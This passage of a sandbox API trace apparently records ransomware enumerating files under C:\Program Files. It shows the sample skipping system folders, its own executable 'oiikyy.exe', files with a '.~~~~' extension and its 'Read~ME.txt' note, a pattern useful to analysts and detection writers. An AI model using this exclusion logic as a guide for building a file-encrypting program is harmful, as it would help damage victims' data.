	[0080.142] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0080.142] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="Windows") returned -1
	[0080.142] lstrcmpW (lpString1="sqlxmlx.rll", lpString2="oiikyy.exe") returned 1
	[0080.142] StrStrW (lpFirst="sqlxmlx.rll", lpSrch=".~~~~") returned 0x0
	[0080.142] lstrcmpW (lpString1="sqlxmlx.rll", lpString2="Read~ME.txt") returned 1
	[0080.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.142] GetCurrentThreadId () returned 0x618
	[0080.142] RtlWakeConditionVariable () returned 0x365f48
	[0080.142] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0080.142] lstrcmpiW (lpString1="xmlrw.dll", lpString2="Windows") returned 1
	[0080.142] lstrcmpW (lpString1="xmlrw.dll", lpString2="oiikyy.exe") returned 1
	[0080.142] StrStrW (lpFirst="xmlrw.dll", lpSrch=".~~~~") returned 0x0
	[0080.142] lstrcmpW (lpString1="xmlrw.dll", lpString2="Read~ME.txt") returned 1
	[0080.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.142] GetCurrentThreadId () returned 0x618
	[0080.142] RtlWakeConditionVariable () returned 0x365f48
	[0080.143] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1
	[0080.143] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="Windows") returned 1
	[0080.143] lstrcmpW (lpString1="xmlrwbin.dll", lpString2="oiikyy.exe") returned 1
	[0080.143] StrStrW (lpFirst="xmlrwbin.dll", lpSrch=".~~~~") returned 0x0
	[0080.143] lstrcmpW (lpString1="xmlrwbin.dll", lpString2="Read~ME.txt") returned 1
	[0080.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.143] GetCurrentThreadId () returned 0x618
	[0080.143] RtlWakeConditionVariable () returned 0x365f48
	[0080.143] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0
	[0080.143] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0080.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.143] GetCurrentThreadId () returned 0x618
	[0080.143] RtlWakeConditionVariable () returned 0x365f48
	[0080.144] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0080.144] lstrcmpiW (lpString1="wab32.dll", lpString2="Windows") returned -1
	[0080.144] lstrcmpW (lpString1="wab32.dll", lpString2="oiikyy.exe") returned 1
	[0080.144] StrStrW (lpFirst="wab32.dll", lpSrch=".~~~~") returned 0x0
	[0080.144] lstrcmpW (lpString1="wab32.dll", lpString2="Read~ME.txt") returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.145] GetCurrentThreadId () returned 0x618
	[0080.145] RtlWakeConditionVariable () returned 0x365f48
	[0080.145] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0080.145] lstrcmpiW (lpString1="wab32res.dll", lpString2="Windows") returned -1
	[0080.145] lstrcmpW (lpString1="wab32res.dll", lpString2="oiikyy.exe") returned 1
	[0080.145] StrStrW (lpFirst="wab32res.dll", lpSrch=".~~~~") returned 0x0
	[0080.145] lstrcmpW (lpString1="wab32res.dll", lpString2="Read~ME.txt") returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.145] GetCurrentThreadId () returned 0x618
	[0080.145] RtlWakeConditionVariable () returned 0x365f48
	[0080.145] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0
	[0080.145] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.145] GetCurrentThreadId () returned 0x618
	[0080.161] RtlWakeConditionVariable () returned 0x365f48
	[0080.161] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0080.161] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0080.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.162] GetCurrentThreadId () returned 0x618
	[0080.162] RtlWakeConditionVariable () returned 0x365f48
	[0080.162] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0080.162] lstrcmpiW (lpString1="desktop.ini", lpString2="Windows") returned -1
	[0080.162] lstrcmpW (lpString1="desktop.ini", lpString2="oiikyy.exe") returned -1
	[0080.162] StrStrW (lpFirst="desktop.ini", lpSrch=".~~~~") returned 0x0
	[0080.162] lstrcmpW (lpString1="desktop.ini", lpString2="Read~ME.txt") returned -1
	[0080.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x2806200
	[0080.162] GetCurrentThreadId () returned 0x618
	[0080.162] RtlWakeConditionVariable () returned 0x365f48
	[0080.162] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda7903a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda7903a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1
	[0080.162] lstrcmpiW (lpString1="DVD Maker", lpString2="Windows") returned -1
	[0080.162] lstrcmpW (lpString1="DVD Maker", lpString2=".") returned 1
	[0080.162] lstrcmpW (lpString1="DVD Maker", lpString2="..") returned 1
	[0080.163] lstrcmpW (lpString1="DVD Maker", lpString2="AppData") returned 1
	[0080.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker", lpSrch="AppData") returned 0x0
	[0080.163] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.163] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker", lpString2="C:\\Windows") returned -1
	[0080.163] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.163] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker", lpString2="C:\\System Volume Information") returned -1
	[0080.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0080.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda7903a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda7903a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0080.163] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.163] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.163] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.163] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.163] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.163] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda7903a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda7903a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.163] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.163] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.164] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.164] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.164] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.164] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.164] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521a91c0, ftCreationTime.dwHighDateTime=0x1d5b68b, ftLastAccessTime.dwLowDateTime=0x9d7fd840, ftLastAccessTime.dwHighDateTime=0x1d5b0dd, ftLastWriteTime.dwLowDateTime=0x9d7fd840, ftLastWriteTime.dwHighDateTime=0x1d5b0dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="allow.exe", cAlternateFileName="")) returned 1
	[0080.164] lstrcmpiW (lpString1="allow.exe", lpString2="Windows") returned -1
	[0080.164] lstrcmpW (lpString1="allow.exe", lpString2="oiikyy.exe") returned -1
	[0080.164] StrStrW (lpFirst="allow.exe", lpSrch=".~~~~") returned 0x0
	[0080.164] lstrcmpW (lpString1="allow.exe", lpString2="Read~ME.txt") returned -1
	[0080.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.164] GetCurrentThreadId () returned 0x618
	[0080.164] RtlWakeConditionVariable () returned 0x365f48
	[0080.164] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1
	[0080.164] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="Windows") returned -1
	[0080.164] lstrcmpW (lpString1="audiodepthconverter.ax", lpString2="oiikyy.exe") returned -1
	[0080.164] StrStrW (lpFirst="audiodepthconverter.ax", lpSrch=".~~~~") returned 0x0
	[0080.164] lstrcmpW (lpString1="audiodepthconverter.ax", lpString2="Read~ME.txt") returned -1
	[0080.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.164] GetCurrentThreadId () returned 0x618
	[0080.164] RtlWakeConditionVariable () returned 0x365f48
	[0080.165] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1
	[0080.165] lstrcmpiW (lpString1="bod_r.TTF", lpString2="Windows") returned -1
	[0080.165] lstrcmpW (lpString1="bod_r.TTF", lpString2="oiikyy.exe") returned -1
	[0080.165] StrStrW (lpFirst="bod_r.TTF", lpSrch=".~~~~") returned 0x0
	[0080.165] lstrcmpW (lpString1="bod_r.TTF", lpString2="Read~ME.txt") returned -1
	[0080.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.165] GetCurrentThreadId () returned 0x618
	[0080.165] RtlWakeConditionVariable () returned 0x365f48
	[0080.165] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1
	[0080.165] lstrcmpiW (lpString1="directshowtap.ax", lpString2="Windows") returned -1
	[0080.165] lstrcmpW (lpString1="directshowtap.ax", lpString2="oiikyy.exe") returned -1
	[0080.165] StrStrW (lpFirst="directshowtap.ax", lpSrch=".~~~~") returned 0x0
	[0080.165] lstrcmpW (lpString1="directshowtap.ax", lpString2="Read~ME.txt") returned -1
	[0080.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.165] GetCurrentThreadId () returned 0x618
	[0080.165] RtlWakeConditionVariable () returned 0x365f48
	[0080.165] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1
	[0080.165] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="Windows") returned -1
	[0080.165] lstrcmpW (lpString1="DVDMaker.exe", lpString2="oiikyy.exe") returned -1
	[0080.165] StrStrW (lpFirst="DVDMaker.exe", lpSrch=".~~~~") returned 0x0
	[0080.165] lstrcmpW (lpString1="DVDMaker.exe", lpString2="Read~ME.txt") returned -1
	[0080.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.165] GetCurrentThreadId () returned 0x618
	[0080.166] RtlWakeConditionVariable () returned 0x365f48
	[0080.166] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0080.166] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0080.166] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0080.166] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0080.166] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0080.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\en-US", lpSrch="AppData") returned 0x0
	[0080.166] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.166] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\en-US", lpString2="C:\\Windows") returned -1
	[0080.166] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.166] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0080.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0080.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0080.167] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.167] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.167] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.167] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.167] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.167] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.167] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.167] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.167] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.167] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.167] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.167] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.167] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1
	[0080.167] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="Windows") returned -1
	[0080.167] lstrcmpW (lpString1="DVDMaker.exe.mui", lpString2="oiikyy.exe") returned -1
	[0080.167] StrStrW (lpFirst="DVDMaker.exe.mui", lpSrch=".~~~~") returned 0x0
	[0080.167] lstrcmpW (lpString1="DVDMaker.exe.mui", lpString2="Read~ME.txt") returned -1
	[0080.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.167] GetCurrentThreadId () returned 0x618
	[0080.168] RtlWakeConditionVariable () returned 0x365f48
	[0080.168] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1
	[0080.168] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="Windows") returned -1
	[0080.168] lstrcmpW (lpString1="OmdProject.dll.mui", lpString2="oiikyy.exe") returned 1
	[0080.168] StrStrW (lpFirst="OmdProject.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.168] lstrcmpW (lpString1="OmdProject.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.168] GetCurrentThreadId () returned 0x618
	[0080.168] RtlWakeConditionVariable () returned 0x365f48
	[0080.168] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1
	[0080.168] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="Windows") returned 1
	[0080.168] lstrcmpW (lpString1="WMM2CLIP.dll.mui", lpString2="oiikyy.exe") returned 1
	[0080.168] StrStrW (lpFirst="WMM2CLIP.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.168] lstrcmpW (lpString1="WMM2CLIP.dll.mui", lpString2="Read~ME.txt") returned 1
	[0080.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.168] GetCurrentThreadId () returned 0x618
	[0080.168] RtlWakeConditionVariable () returned 0x365f48
	[0080.168] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0
	[0080.169] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0080.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.169] GetCurrentThreadId () returned 0x618
	[0080.169] RtlWakeConditionVariable () returned 0x365f48
	[0080.169] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1
	[0080.169] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="Windows") returned -1
	[0080.169] lstrcmpW (lpString1="Eurosti.TTF", lpString2="oiikyy.exe") returned -1
	[0080.169] StrStrW (lpFirst="Eurosti.TTF", lpSrch=".~~~~") returned 0x0
	[0080.169] lstrcmpW (lpString1="Eurosti.TTF", lpString2="Read~ME.txt") returned -1
	[0080.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.169] GetCurrentThreadId () returned 0x618
	[0080.169] RtlWakeConditionVariable () returned 0x365f48
